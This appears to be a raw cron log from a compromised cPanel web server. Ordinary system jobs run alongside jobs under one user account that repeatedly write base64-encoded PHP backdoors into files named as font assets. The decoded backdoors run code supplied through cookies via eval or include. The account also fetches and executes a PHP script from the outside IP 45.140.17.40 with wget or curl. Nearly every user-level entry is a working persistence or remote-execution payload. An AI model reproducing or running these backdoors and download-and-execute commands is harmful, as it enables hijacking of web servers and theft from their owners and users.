Sep  9 13:39:01 ip-184-168-122-23 CROND[26605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:39:01 ip-184-168-122-23 CROND[26606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:39:01 ip-184-168-122-23 CROND[26607]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 13:39:01 ip-184-168-122-23 CROND[26604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:40:01 ip-184-168-122-23 CROND[26800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:40:01 ip-184-168-122-23 CROND[26802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:40:01 ip-184-168-122-23 CROND[26804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:40:01 ip-184-168-122-23 CROND[26808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:40:01 ip-184-168-122-23 CROND[26810]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:40:01 ip-184-168-122-23 CROND[26805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:40:01 ip-184-168-122-23 CROND[26806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:40:01 ip-184-168-122-23 CROND[26809]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:41:01 ip-184-168-122-23 CROND[26912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:41:01 ip-184-168-122-23 CROND[26910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:41:01 ip-184-168-122-23 CROND[26913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:41:01 ip-184-168-122-23 CROND[26911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:42:01 ip-184-168-122-23 CROND[27005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:42:01 ip-184-168-122-23 CROND[27007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:42:01 ip-184-168-122-23 CROND[27009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:42:01 ip-184-168-122-23 CROND[27008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:42:01 ip-184-168-122-23 CROND[27010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:43:01 ip-184-168-122-23 CROND[27094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:43:01 ip-184-168-122-23 CROND[27095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:43:01 ip-184-168-122-23 CROND[27096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:43:01 ip-184-168-122-23 CROND[27097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:44:01 ip-184-168-122-23 CROND[27205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:44:01 ip-184-168-122-23 CROND[27208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:44:01 ip-184-168-122-23 CROND[27209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:44:01 ip-184-168-122-23 CROND[27210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:44:01 ip-184-168-122-23 CROND[27211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:45:01 ip-184-168-122-23 CROND[27316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:45:02 ip-184-168-122-23 CROND[27318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:45:02 ip-184-168-122-23 CROND[27320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:45:02 ip-184-168-122-23 CROND[27321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:45:02 ip-184-168-122-23 CROND[27324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:45:02 ip-184-168-122-23 CROND[27328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:46:01 ip-184-168-122-23 CROND[27491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:46:01 ip-184-168-122-23 CROND[27492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:46:01 ip-184-168-122-23 CROND[27495]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 13:46:01 ip-184-168-122-23 CROND[27497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:46:02 ip-184-168-122-23 CROND[27499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:46:02 ip-184-168-122-23 CROND[27503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:46:02 ip-184-168-122-23 CROND[27502]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 13:47:01 ip-184-168-122-23 CROND[27596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:47:01 ip-184-168-122-23 CROND[27598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:47:01 ip-184-168-122-23 CROND[27599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:47:01 ip-184-168-122-23 CROND[27601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:48:01 ip-184-168-122-23 CROND[27698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:48:01 ip-184-168-122-23 CROND[27697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:48:01 ip-184-168-122-23 CROND[27696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:48:01 ip-184-168-122-23 CROND[27699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:48:01 ip-184-168-122-23 CROND[27700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:49:01 ip-184-168-122-23 CROND[27831]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 13:49:01 ip-184-168-122-23 CROND[27832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:49:01 ip-184-168-122-23 CROND[27834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:49:01 ip-184-168-122-23 CROND[27835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:49:01 ip-184-168-122-23 CROND[27833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:50:01 ip-184-168-122-23 CROND[27943]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:50:01 ip-184-168-122-23 CROND[27944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:50:01 ip-184-168-122-23 CROND[27945]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 13:50:02 ip-184-168-122-23 CROND[27952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:50:02 ip-184-168-122-23 CROND[27951]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:50:02 ip-184-168-122-23 CROND[27950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:50:02 ip-184-168-122-23 CROND[27953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:50:02 ip-184-168-122-23 CROND[27956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:50:02 ip-184-168-122-23 CROND[27955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
